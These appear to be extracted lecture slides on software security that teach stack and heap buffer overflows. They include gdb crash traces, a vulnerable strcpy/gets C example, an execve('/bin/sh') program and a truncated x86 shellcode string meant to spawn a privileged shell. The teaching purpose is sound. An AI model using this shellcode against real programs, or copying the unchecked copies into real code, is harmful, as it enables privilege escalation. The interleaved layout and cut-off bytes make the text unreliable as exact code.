Chapter 3 - Software Security
Chapter 3 - Software Security
07/09/2022 2
1
09/09/2022
Leaky defenses
o Missing Authentication for Critical Function
o Missing Authorization
o Use of Hard-coded Credentials
o Missing Encryption of Sensitive Data
07/09/2022 3
Main causes:
o complexity of these features
• functionality winning over security, again
o Ignorance (unawareness) of developers
07/09/2022 4
2
09/09/2022
07/09/2022 5
● Stack overflows
● buffer overflow on the Stack
● overflowing buffers to corrupt data
● Heap overflows
● buffer overflow on the Heap
3
09/09/2022
4
09/09/2022
07/09/2022 10
5
09/09/2022
07/09/2022 11
Stack Pointer (esp) Register: Stores the memory address to which the stack
pointer ) is pointing to (the current top of the stack: pointing towards the low
memory end.
• The esp dynamically moves as contents are pushed and popped out of the
stack frame.
Frame Pointer (ebp) Register: Stores the memory address to which the frame
pointer is pointing to (pointer points to a fixed location in the stack frame).
• The ebp typically points to an address (a fixed address), after the address
(facing the low memory end) where the old frame pointer is stored.
Stack Frame: The activation record for a sub routine comprising of (in the order
facing towards the low memory end): parameters, return address, old frame
pointer, local variables.
Return address: The memory address to which the execution control should
return once the execution of a stack frame is completed.
07/09/2022 12
6
09/09/2022
7
09/09/2022
07/09/2022 16
8
09/09/2022
9
09/09/2022
07/09/2022
$ gdb ex1
(gdb) run ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
Starting program: ex1 ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
ABCDABCD (gdb) info register
Program received signal SIGSEGV, Segmentation fault. eax 0x0 0
0x44434241 in ?? ( ) ecx 0x4013bf40 1075035968
edx 0x31 49
Both the saved ebp & eip have been overwritten ebx 0x4013ec90 1075047568
with the value 0x44434241.
esp 0xbffff440 0xbffff440
When the main( ) function returns and the program
exits, the function epilogue executes, which takes ebp 0x44434241 0x44434241
the following actions using a last-in, first-out (LIFO) esi 0x40012f2c 1073819436
order: edi 0xbffff494 -1073744748
o Set esp to the same value as ebp eip 0x44434241 0x44434241
o Pop ebp from the stack, moving esp 4 bytes eflags 0x10246 66118
upward so that it points at the saved eip cs 0x17 23
o Return, popping the eip from the stack and ss 0x1f 31
moving esp 4 bytes upward again ds 0x1f 31
es 0x1f 31
fs 0x1f 31
gs 0x1f 31 20
10
09/09/2022
07/09/2022 21
07/09/2022 22
11
09/09/2022
07/09/2022
07/09/2022 24
12
09/09/2022
07/09/2022 25
13
09/09/2022
#include <stdio.h>
int main( ) {
char *name[2];
name[0] = “/bin/sh”;
name[1] = NULL;
execve(name[0], name, NULL);
}
gdb lunch_shellcode -q
gdb) disassemble main
Dump of assembler code for function main:
0x00000000004004c4 <+0>: push %rbp
0x00000000004004c5 <+1>: mov %rsp,%rbp
0x00000000004004c8 <+4>: sub $0x10,%rsp
……
0x00000000004004e9 <+37>: mov %rcx,%rsi
0x00000000004004ec <+40>: mov %rax,%rdi
0x00000000004004ef <+43>: callq 0x4003c8 <execve@plt>
0x00000000004004f4 <+48>: leaveq
07/09/2022 0x00000000004004f5 <+49>: retq 27
07/09/2022 28
14
09/09/2022
07/09/2022 29
Because many of the characters are binary, and not printable, you must
use Perl (or a similar program) to send the attack string to
the ex1 program
\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52
\x53\x89\xe1\xb0\x0b\xcd\x80\xef\xbe\xad\xde\x18\xf4\xff\xbf";'`
1ÀPhn/shh//biãRSá°
Í
$
If this program is running as a privileged user (such as root in Unix
environments), the command shell inherits the permissions of the parent
process that is being overflowed
07/09/2022 30
15
09/09/2022
a nested function to perform the copying of the string into the buffer.
If the string is longer than 32 characters, it isn’t processed.
Code: ex2.c
int main(int argc, char *argv[])
{
if(strlen(argv[1]) > 32)
{printf("Input string too long!\n");
exit (1);
}
vulfunc(argv[1]);
return 0;
} Input:
int vulfunc(char *arg) > 32 ch: -> Input string too long!
{ <32 ch: -> printf
=32 ch: Segmentation fault (core dumped)
char smallbuf[32];
strcpy(smallbuf, arg);
printf("%s\n", smallbuf);
return 0;
} 31
07/09/2022
# ./ex2 test
test
# ./ex2 ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
Input string too long!
# ./ex2 ABCDABCDABCDABCDABCDABCDABCDABC
ABCDABCDABCDABCDABCDABCDABCDABC
# ./ex2 ABCDABCDABCDABCDABCDABCDABCDABCD
ABCDABCDABCDABCDABCDABCDABCDABCD
Segmentation fault (core dumped)
07/09/2022 32
16
09/09/2022
Saved eip
Smallbuf(32)
esp
07/09/2022 33
stack frame with 32 characters stack frame with 32c is moved downward
Smallbuf(32)
eip
ebp esp
esp
First, the saved ebp is popped and changed to 0xbffff800,
the least significant byte of the saved ebp is The ebp has been slid down to a lower address.
overwritten, changing it from 0xbffff81c to 0xbffff800 Popping the new saved eip (ebp+4, 0x44434241)
07/09/2022 34
17
09/09/2022
Saved eip
oxbffff808
oxbffff804
0xbffff800
07/09/2022 35
18
09/09/2022
0xffffffff
07/09/2022
37
Higher Address
Stack char* p = malloc
(256);
memset (p, ‘A’, 1024);
Heap
Lower Address
19
09/09/2022
Higher Address
Function Pointer Function Pointer
Chunk 2
Chunk 1
Size of the
previous chunk
buff1
int main(void)
{ Size of this chunk
(48 bytes),
char *buff1, *buff2; with PREV_INUSE
buff1 = malloc(40); bit set
buff2 = malloc(40);
gets(buff1);
free(buff1);
exit(0);
Size of the
}
previous chunk
There is no checking imposed
on the data fed into buff1 by buff1
gets( ), Size of this chunk
(48 bytes),
=> a heap overflow can occur. with PREV_INUSE
Warning: the `gets' bit set
function is dangerous
and should not be used”.
07/09/2022 40
20
09/09/2022
07/09/2022 41
07/09/2022 42
21
09/09/2022
07/09/2022 44
22
09/09/2022
Code:
void func1(char *s)
{
char buffer[80];
strcpy(buffer, s);
printf("%s\n", buffer);
return 0;
}
23
09/09/2022
What if gets() reads more than 8 bytes ? What if gets() reads more than 8 bytes ?
Attacker can jump to any point in the code! Attacker can even jump to his own code in
buffer! (shell code)
Never
use gets()
07/09/2022 48
24
09/09/2022
Analysis Tools…
●Can flag potentially unsafe
functions/constructs
●Can help mitigate security lapses,
but it is really hard to eliminate all
buffer overflows.
Low addr
Result: increases the difficulty of using buffer overflow to attack
it forces the attacker to take control of the pointer using non-classical
methods - corrupting other important variables in the cache.
25
09/09/2022
26
09/09/2022
08/09/2022 53
07/09/2022 54
27
09/09/2022
07/09/2022 55
07/09/2022 56
28
09/09/2022
07/09/2022 58
29
09/09/2022
07/09/2022 60
30
09/09/2022
09/09/2022 61
07/09/2022 62
31